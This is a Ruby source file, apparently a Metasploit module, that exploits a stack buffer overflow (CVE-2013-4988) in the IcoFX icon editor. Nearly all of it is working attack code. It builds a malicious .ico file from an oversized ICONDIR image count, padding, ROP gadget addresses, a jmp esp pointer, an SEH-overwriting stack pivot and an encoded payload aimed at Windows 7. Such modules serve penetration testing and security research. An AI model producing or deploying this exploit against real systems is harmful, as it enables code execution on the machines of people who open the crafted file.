109 lines
3.7 KiB
Ruby
109 lines
3.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'IcoFX Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow vulnerability in version 2.1
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of IcoFX. The vulnerability exists while parsing .ICO files, where an specially
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crafted ICONDIR header providing an arbitrary long number of images in the file
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can be used to trigger the overflow when reading the ICONDIRENTRY structures.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Marcos Accossatto', # Vulnerability discovery, poc
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'juan vazquez' # Metasploit
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],
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'References' =>
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[
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[ 'CVE', '2013-4988' ],
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[ 'OSVDB', '100826' ],
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[ 'BID', '64221' ],
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[ 'EDB', '30208'],
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[ 'URL', 'http://www.coresecurity.com/advisories/icofx-buffer-overflow-vulnerability' ]
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],
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'Platform' => [ 'win' ],
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 864,
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'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
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},
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'Targets' =>
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[
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[ 'IcoFX 2.5 / Windows 7 SP1',
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{
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:callback => :target_win7,
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}
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],
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],
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'DisclosureDate' => 'Dec 10 2013',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ico'])
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], self.class)
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end
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def target_win7
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# All the gadgets com from IcoFX2.exe 2.5.0.0
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# ICONDIR structure
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ico = [0].pack("v") # Reserved. Must always be 0
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ico << [1].pack("v") # Image type: 1 for icon (.ico) image
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# 0x66 is enough to overwrite the local variables and, finally
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# the seh handler. 0x7f00 is used to trigger an exception after
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# the overflow, while the overwritten SEH handler is in use.
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ico << [0x7f00].pack("v")
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# ICONDIRENTRY structures 102 structures are using to overwrite
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# every structure = 16 bytes
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# 100 structures are used to reach the local variables
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ico << rand_text(652)
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ico << [0x0044729d].pack("V") * 20 # ret # rop nops are used to allow code execution with the different opening methods
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ico << [0x0045cc21].pack("V") # jmp esp
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ico << payload.encoded
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ico << rand_text(
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1600 - # 1600 = 16 ICONDIRENTRY struct size * 100
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652 - # padding to align the stack pivot
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80 - # rop nops size
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4 - # jmp esp pointer size
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payload.encoded.length
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)
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# The next ICONDIRENTRY allows to overwrite the interesting local variables
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# on the stack
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ico << [2].pack("V") # Counter (remaining bytes) saved on the stack
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ico << rand_text(8) # Padding
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ico << [0xfffffffe].pack("V") # Index to the dst buffer saved on the stack, allows to point to the SEH handler
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# The next ICONDIRENTRY allows to overwrite the seh handler
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ico << [0x00447296].pack("V") # Stackpivot: add esp, 0x800 # pop ebx # ret
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ico << rand_text(0xc) # padding
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return ico
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end
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def exploit
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unless self.respond_to?(target[:callback])
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fail_with(Failure::BadConfig, "Invalid target specified: no callback function defined")
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end
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ico = self.send(target[:callback])
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(ico)
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end
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end
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